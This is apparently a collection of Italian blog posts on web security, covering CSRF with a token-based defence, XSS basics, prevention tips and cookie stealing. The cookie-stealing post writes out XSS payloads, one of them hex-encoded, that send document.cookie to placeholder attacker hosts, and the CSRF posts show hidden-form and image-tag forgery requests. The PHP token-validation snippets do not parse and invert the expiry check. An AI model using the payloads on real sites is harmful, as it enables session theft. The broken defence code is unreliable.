CSRF Cross site request forgeries: difendersi con i tokens

In un precedente articolo, ho introdotto il concetto di CSRF, questa volta ci occuperemo di ovvero fornire i concetti di base della protezione contro questo tipo di attacchi. funny_cat_pictures_092

Ci tengo a precisare che anche questo articolo conterrà metodi di base per la protezione delle proprie applicazioni, in quanto la scienza dietro gli attacchi è davvero molto sviluppata al momento.Abbiamo visto che un attacco di tipo CSRF consiste nel fare in modo che la vittima invii delle richieste inconsapevolmente, sfruttando le sue credenziali. Riportiamo brevemente un esempio per riprendere le fila del discorso: Mentre visitiamo la pagina “posta in arrivo” del nostro account email non protetto, apriamo un altra scheda del browser, capitando in un sito malevolo creato ad hoc per attaccare la pagina del nostro email service provider. Cliccando su un semplice link del tipo:

<a href=”happy_page.php” onClick=”document.send_mail_form.submit()”>Click</a>

e magari avendo semplicemente (ci sono modi di gran lunga migliori per inviare richieste POST) predisposto il seguente form nascosto:

<form name=”send_mail_form” method=”POST” action=”www.unsafe-email-service.com”>

<input type=”hidden” name=”receiver” value=”randomReceiver1”>

<input type=”hidden” name=”receiver” value=”randomReceiver2”>

<input type=”hidden” name=”receiver” value=”randomReceiver3”>

..

<input type=”hidden” name=”receiver” value=”randomReceiverN”>

<input type=”hidden” name=”object” value=”Object”>

<input type=”hidden” name=”text” value=”randomText”>

</form>

comporterebbe l’immediato e totalmente involontario invio delle email con il nostro account di posta elettronica.

Come possiamo mitigare il rischio CSRF ,quantomeno, rendere gli attacchi meno scontati e facilmente implementabili? Un metodo largamente usato, in quanto offre un buon rapporto sicurezza/facilità di implementazione è quello dei Token.

Un token è una stringa di testo che funge da validazione per le richieste che inviamo alla nostra applicazione e deve essere correlata alla sessione dell’utente.

Potremmo sintetizzare il concetto nei seguenti passi: Creo il token, lo salvo nella sessione e lo richiedo per validare ogni input utente. Se il sistema rileva una richiesta POST non accompagnata dal corretto token ci permetterà di riconoscere un probabile tentativo di attacco e di interrompere l’esecuzione.

Parte 1: creiamo il token.

Presupponendo che la sessione sia già stata inizializzata

<?php

$token = sha1(uniqid(rand(),TRUE));

$_SESSION[‘token’] = $token;

?>

Parte 2: generiamo il form

<form name=”myForm” method=”POST” action=”myPage.php”>

<input type=”hidden” name=”token” value =” <?php echo $_SESSION[‘token’]; ?> “ />

<input type=”text” name=”myText” />

<input type=”submit” value=”invia”>

Parte 3: controlliamo la validità della richiesta

<?php

if (!isset ($_POST[‘token’] OR !isset ($_SESSION[‘token’] OR $_POST[‘token’] != $_SESSION[‘token’] OR)

{

//errore! Interrompere l’esecuzione

} else {

//Il token è validato, possiamo procedere

}

?>

n questo modo costringiamo l’attaccante a scoprire il token assegnato alla sessione della vittima, inoltre questo fa si che l’attacco colpisca soltanto quell’utente, o comunque costringe l’attaccante a replicare il token di ogni vittima, affinchè le richieste artificiali da lui create bypassino il sistema di controllo.

Come migliorare questo approccio?

Come ho già detto, questo metodo non garantisce la sicurezza assoluta, quindi se state cercando di mettere al sicuro i form di un sito di e-commerce, non vi consiglierei mai di fermarvi a questo livello di validazione; possiamo però migliorare il nostro codice di controllo in diversi modi. Vediamone alcuni.

Generiamo un token per ogni form della pagina che l’utente visualizza, così da aumentare la complessità del problema, potremmo dire che creare un token per ogni richiesta dell’applicazione sarebbe un’ottima cosa.

Associamo un tempo di validità del token dopo il quale non verrebbe più considerato valido:

<?php

$token = sha1(uniqid(rand(),TRUE));

$_SESSION[‘token’] = $token;

$_SESSION[‘token_time’] = time();

?>

e successivamente controlliamo che non sia passato troppo tempo dalla creazione del token, altrimenti lo consideriamo scaduto :

<?php

if (!isset ($_POST[‘token’] OR !isset ($_SESSION[‘token’] OR $_POST[‘token’] != $_SESSION[‘token’] OR)

{

//errore! Interrompere l’esecuzione

} else {

$token_time = time() – $_SESSION[‘token_time’];

//Facciamo in modo che la durata massima del token sia di 10 minuti

if ($token_time < 600)

{

//interrompiamo l’interruzione informando che la pagina è scaduta

}

//Il token è validato, possiamo procedere

}

?>

Concludo proponendovi una riflessione: anche la miglior difesa contro attacchi di tipo CSRF può essere superata se non vi affianchiamo una ottima difesa per gli attacchi di tipo XSS, in quanto questi ultimi potrebbero essere utilizzati come “apripista” verso le nostre difese.

Annunci

ExploitMe: suite di estensioni per Firefox orientate alla sicurezza

Vi segnalo due interessanti tool che potrbbero facilitarvi il lavoro in caso andiate alla ricerca di possibili SQLinjections ed XSS: XSSme e SQL Inject-Me.

xsswarning.jpg

L’azienda Security Compass rilascia gratuitamente (sotto licenza GPL) questi due tool sotto forma di estensioni firefox (intanto la mia GUI di firefox diventa sempre più grassa ^^) insieme ad alcune informazioni relative ad il loro utilizzo.

Questi due semplici tool vi permettono di testare le vulnerabilità di una pagina web basandosi su una base di Vettori già noti listati in file xml inclusi nelle distribuzioni.

Estendere questi file è molto semplice, basta infatti ciccare il menu opzioni e nel pannello Strings aggiungere manualmente i vostri vettori javascript o codice SQL.
Potete anche aggiungere direttamente un altro listato xml contenente le vulnerabilità scoperte da qualcunaltro, così da permettere la condivisione di stringhe di attacco.

Sul sito della società è già incluso un file XML pronto da scaricare.

CSRF: basi di Cross Site Request Forgery

Ho parlato a lungo ed abbastanza dettagliatamente del cross site scripting, ora invece vi presento una tecnica dal nome simile ma dall’efficacia maggiore per portare a termine certi tipi di attacchi: i famigerati CSRF attacks (o XSRF).

Il nome della tecnica è eloquente: si tratta di creare delle richieste ad hoc da inviare ad una applicazione sfruttando le autorizzazioni di un utente ‘trusted’, ovvero sfruttando la sua identità!!

csrf.jpg

Notiamo subito una differenza sostanziale tra XSS e CSRF: con i primi, ad essere sfruttata è la fiducia che l’applicazione ripone nell’utente attivo, che invece di svolgere le sue normali operazioni sfrutta le falle dell’applicazione stessa; Nel caso del CSRF invece, ad essere sfruttata è la fiducia che l’utente ripone in un certo applicativo, che invece lo sfrutta (non è esattamente l’applicativo che sfrutta l’utente, ma il programmatore che lo ha sviluppato!! altrimenti l’applicazione sarebbe una specie di Agente Smith di Matrix XD).

Ma come inviare delle richieste ad un server?? ci sono zilioni di modi 😀 la maggior parte dei quali realizzabili da chiunque e questo non fa altro che aumentare i problemi di sicurezza nelle grandi applicazioni web: anche il più impreparato degli script kiddies potrebbe portare a termine un attacco del genere!!

Vediamo ora un semplice esempio pratico:

L’azienda Pancom, mette a disposizione dei suoi utenti un certo numero di inviti, da inviare ai propri amici per permettere ad essi di unirsi alla comunity di bloggers altrimenti riservata.

Ogni utente ha nella propria dashboard, un form composto da una textbox in cui va inserito l’indirizzo email del proprio amico a cui si vuole donare l’accesso a Pancom, e chiaramente un pulsante di submit.

Come poter sfruttare gli inviti dell’utente Mattia che non sta attento alle sessioni e naviga su internet con moltissime tab aperte senza curarsi della sua sessione in Pancom.com??

Se i programmatori Pancom non sono stati attenti, no cè niente di più semplice!!
Dopo aver analizzato il form di invio degli inviti (pensate a quello di Gmail), il cui codice possiamo immaginare essere simile al seguente:

<form name="invita” method=”GET” action =”invita.php”>
<input type=”text” name=”email”>
<input type=”submit” value=”Invita!”>
</form>

Ne risulta che la richiesta da inviare al server sarà una del tipo:

http://utenteLoggato.pancom.com/invita.php?email=indirizzo@maligno.com

Per fare in modo che l’utente loggato invii al posto nostro una richiesta del genere sarà sufficiente che visiti una pagina web creata ad hoc dall’attaccante. e contenente un tag come un link ad uno stylesheet, una immagine o una tag META:

<img src=”http://utenteLoggato.pancom.com/invita.php?email=indirizzo#maligno.com”>
<link rel=”http://utenteLoggato.pancom.com/invita.php?email=indirizzo#maligno.com”> 

Anche una banale immagine di sfondo che viene caricata con il corpo della pagina html innesca il meccanismo sopra citato!!

Capirete dunque che un attacco del genere (filtraggio degli url,utilizzo di token sicuri, controllo del referrer… mmm ok ne parlerò più avanti :D), può essere portato a termine in pochissimo tempo e senza delle conoscenze specifiche di SQL, PHP, Javascript o qualsiasi altra code injection esistente :S

Pillole contro il mal di XSS

Continua la mia serie di mini articoli sull’argomento XSS, che, a quanto pare, incuriosisce moltissimi naviganti della rete 😀 (mi riferisco alle statistiche dei motori di ricerca 😉 ).

xsswarning.jpg

Questo articolo non è esattamente un tutorial riguardante una tecnica di XSS, ma più che altro una raccolta di pillole di saggezza che tutti dovrebbero assimilare.

  • Controllate la presenza di tags HTML e rendeteli inoffensivi (non del tutto!) con la funzione php strip_tags()
  • Se non potete rimuovere a priori i tag html dalle query, rimpiazzateli con il corrispondente riferimento ad entità: la funzione htmlentities() sostituisce i caratteri “<” e “>” con “<” e “>”
  • Evitate di utilizzare le funzioni include() e require() passando come argomento variabili definite dall’utente, come elementi degli array $_POST $_GET $_REQUEST e $_FILE, potreste dar luogo a vulnerabilità critiche: inclusione di files di installazione del vostro CMS oppure files di configurazione di vario genere contenenti username, password ed altre informazioni importanti.

Filtrate approfonditamente le query, controllando anche la codifica ASCII ed HEX

Attenti all’utilizzo delle MAGIC QUOTES: Un tentativo da parte degli sviluppatori PHP di incrementare la sicurezza di PHP tramite il filtraggio automatico delle stringhe, aggiungendo il carattere di escape. Questa opzione non vi mette al riparo dagli attacchi di XSS e SQL Injection, poiché il controllo può in molti casi essere bypassato. Inoltre, il sistema di MAGIC QUOTES comporta alcuni problemi di portabilità del codice, che potrebbe assumere comportamenti diversi in base alla configurazione della vostra installazione di PHP.

XSS: Cookie Stealing

Con il primo articolo sul XSS, abbiamo dato un’ occhiata in superficie a questa tecnica che permette di modificare a proprio piacimento il flusso
delle pagine Web. Non abbiamo però toccato un argomento di vitale importanza per la sicurezza dei siti Web: il cookie stealing

Con cookie stealing si vuole indicare quell’insieme di tecniche che permettono di ottenere i cookie salvati durante le sessioni di navigazione su internet: Username, Password, eMail, Carrelli dei negozi online e tante altre informazioni così dette “sensibili”.
Se queste informazioni dovessero cadere in mani sbagliate, come si suol dire, sono cazzi! 😀

Ecco un semplicissimo esempio di XSS cookie stealing, che dovrebbe essere bloccato da qualunque check (mi rivolgo ai webmaster pigri di tutto il mondo):

<SCRIPT> window.location="http://www.sitoladro.com/ruba.php?data=" + document.cookie </SCRIPT>

Riuscire a portare a termine questo XSS in una pagina che permette di renderlo persistente, comporterebbe furti di informazioni per tutti gli utenti abituali del sito!!, pensate cosa potrebbe causare un blog famoso con un guestbook fallato :D…. grasse risate (non per l’admin).

Ecco alcune tecniche più eleganti di XSS per il Cookie Stealing:
XSS convertito in HEX:

%3c%53%43%52%49%50%54%3e%20%77%69%6e%64%6f%77%2e%6c%6f%63%61%74%69%6f%6e%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%73%69%74%6f%6c%61%64%72%6f%2e%63%6f%6d%2f%72%75%62%61%2e%70%68%70%3f%64%61%74%61%3d%22%20%2b%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%20%3c%2f%53%43%52%49%50%54%3e

XSS filtrato con CSS:


<style> 

 .stealcookies{background-image:url('javascript:new Image().src="http://www.iorubo.com?data=" mce_src="http://www.iorubo.com?data="+encodeURI(document.cookie);');} 

 </style> 

 <p class="stealcookies"></p>

 

Richiesta immagine :


<script> 

 new Image().src="http://www.iohakkotuttiquanti.com/hack.php?c=" mce_src="http://www.iohaccotuttiquanti.com/hack.php?c="+encodeURI(document.cookie); 

 </script>

Spero che con queste informazioni riusciate a scrivere funzioni più sicure per i vostri siti 😉 bastano veramente poche accortezze per evitare molti problemi !!

Introduzione alle tecniche di XSS

XSS sta per Cross Site Scripting, ed è una tecnica molto utilizzata per deviare l’ordinario funzionamento di alcuni siti internet che non sono stati adeguatamente programmati. Si basa sull’immissione di codice arbitrario all’interno di un URL o comunque di una variabile processata da un server web o da una pagina html.

Le tecniche di XSS sono moltissime e la complessità aumenta con l’evolversi dei sistemi di protezione.
Esaminiamo il seguente script php:

echo $_POST["stringa"];

Molto semplicemente, visualizza la variabile post chiamata stringa, senza eseguire alcun controllo su di essa (assoumiamo che il form non abbia eseguito alcun tipo di controllo sul testo immesso). Chiunque conosca un pizzico di javascript potrebbe inserire codice arbitrario e modificare il comportamento della pagina!
A questo punto potreste pensare che non si tratta di un grande problema, perchè una volta eseguito il refresh della pagina senza inviare nuovamente i dati POST, la variabile si svuoterebbe, ma nel caso di un guestbook? o di un commento ad un post? sarebbe parecchio problematico avere uno script javascript persistente che agisce ad ogni visualizzazione della pagina: con una riga di javascript potremmo eseguire il reindirizzamento del browser, rendendo praticamente inutilizzabile la pagina.

Ad esempio, la seguente riga di codice javascript, emette uno warning, se utilizzato in uno dei contesti di cui parlavo prima non impedirebbe l’accesso alla pagina, ma farebbe veramente girare le scatole allo staff 😉

<SCRIPT>alert()</SCRIPT>

Questo messaggio di allarme non mostra alcun testo, ma aumenta le probabilità di riuscita del XSS, in quanto non usa gli apici, che di solito vengono convertiti rendendo la nostra stringa Javascript mal-formattata ed ignorata dal browser.
Ecco un esempio più efficace:

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

Questo script sfrutta una caratteristica dei motori javascript introdotta per ridurre gli errori di coding, permettendo una sintassi errata possiamo nascondere il codice javascript con tanto di apici dentro gli apici di formattazione del tag <IMG>.

Queste sono solo l’1% delle tecniche di XSS conosciute, anche perchè ogni browser ha delle precise caratteristiche che lo rendono diverso da ogni altro (agli occhi attenti dell’hacker 😉 ).

Ecco alcuni links utili: